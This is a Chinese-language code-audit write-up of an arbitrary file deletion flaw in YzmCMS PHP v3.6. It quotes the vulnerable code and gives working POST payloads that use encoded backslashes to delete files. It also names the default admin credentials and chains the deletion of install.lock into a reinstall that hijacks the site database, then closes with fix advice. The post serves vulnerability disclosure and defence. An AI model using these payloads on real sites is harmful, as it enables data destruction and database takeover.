1. 程式人生 > >【程式碼審計】YzmCMS_PHP_v3.6 任意檔案刪除漏洞分析

【程式碼審計】YzmCMS_PHP_v3.6 任意檔案刪除漏洞分析

 

0x00 環境準備

YzmCMS官網:http://www.yzmcms.com/

程式原始碼下載:http://pan.baidu.com/s/1pKA4u99

測試網站首頁:

 

0x01 程式碼分析

1、檔案位置: /application/member/controller/member.class.php 第118-132行中:

  1. public function edit(){   
  2.     $userid = isset($_GET['userid']) ? intval($_GET['userid']) : 0;  
  3.     if(isset($_POST['dosubmit'])){  
  4.         if($_POST['password'] == ''){  
  5.             unset($_POST['password']);  
  6.         }else
    {  
  7.             $_POST['password'] = password($_POST['password']);  
  8.         }  
  9.         if(isset($_POST['del_userpic']) && $_POST['del_userpic'] == '1'){         
  10. 10.             if($_POST['userpic'] != ''){  
  11. 11.                 $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);  
  12. 12.                 if(is_file($userpic)) @unlink($userpic);    //刪除頭像檔案  
  13. 13.                 $_POST['userpic'] = '';  
  14. 14.             }  
  15. 15.         }  

這段函式中對提交的引數進行處理,當del_userpic滿足條件,將userpic進行處理拼接到完整的路徑中,然後使用unlink函式進行刪除。引數Userpic可控,導致程式在實現上存在任意檔案刪除漏洞。

2、另外,這裡應該是程式作者的一個邏輯缺陷,正常操作userpic並無法刪除頭像檔案,因為這裡在路徑拼接處理上存在問題:

  1. $userpic = YZMPHP_PATH.str_replace(SITE_PATH, '', $_POST['userpic']);   
  2. 等價於  
  3. $userpic = YZMPHP_PATH.str_replace("\",'',$_POST['userpic']);   

預設情況下,userpic提交的引數為/uploads/201801/18/180118105655915.jpg,這種情況下,“/”被過濾,組成的路徑變成uploads20180118180118105655915.jpg,導致程式在實現上並無法正確刪除頭像檔案。

3、如何繞過這種限制?

我們知道“/”被過濾,我們可以使用“\”,url編碼%5C,繞過這種限制,提交

\\uploads\\201801\\18\\180118105655915.jpg,即可正常刪除圖片檔案,這裡應該是作者的一個邏輯缺陷,導致頭像檔案刪除功能不正常。

0x02 漏洞利用

1、在網站根目錄下,新建test.php作為測試檔案:

 

2、利用管理員許可權登入後臺,可利用預設後臺預設賬號密碼來猜解。

預設後臺路徑:http://127.0.0.1/admin/index/login.html

管理員預設賬號密碼均為:yzmcms

構造url連線,可成功刪除根目錄下的測試檔案。

Payload:http://127.0.0.1/member/member/edit/userid/1.html

POST: del_userpic=1&dosubmit=&userpic=%5C%5C1.txt

 

 

3、如何進一步利用?

思路:刪除\\cache\\install.lock檔案,進行cms重灌,劫持網站資料庫。

Payload:http://127.0.0.1//application/install/index.php

POST:del_userpic=1&dosubmit=&userpic=%5C%5Ccache%5C%5Cinstall.lock

構造這樣的請求,即可刪除install.lock檔案,然後訪問

http://127.0.0.1/application/install/index.php 即可進行CMS重灌。

 

0x03 修復建議

1、過濾..,用來防止目錄跳轉

2、對要刪除的檔名進行嚴格限制

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。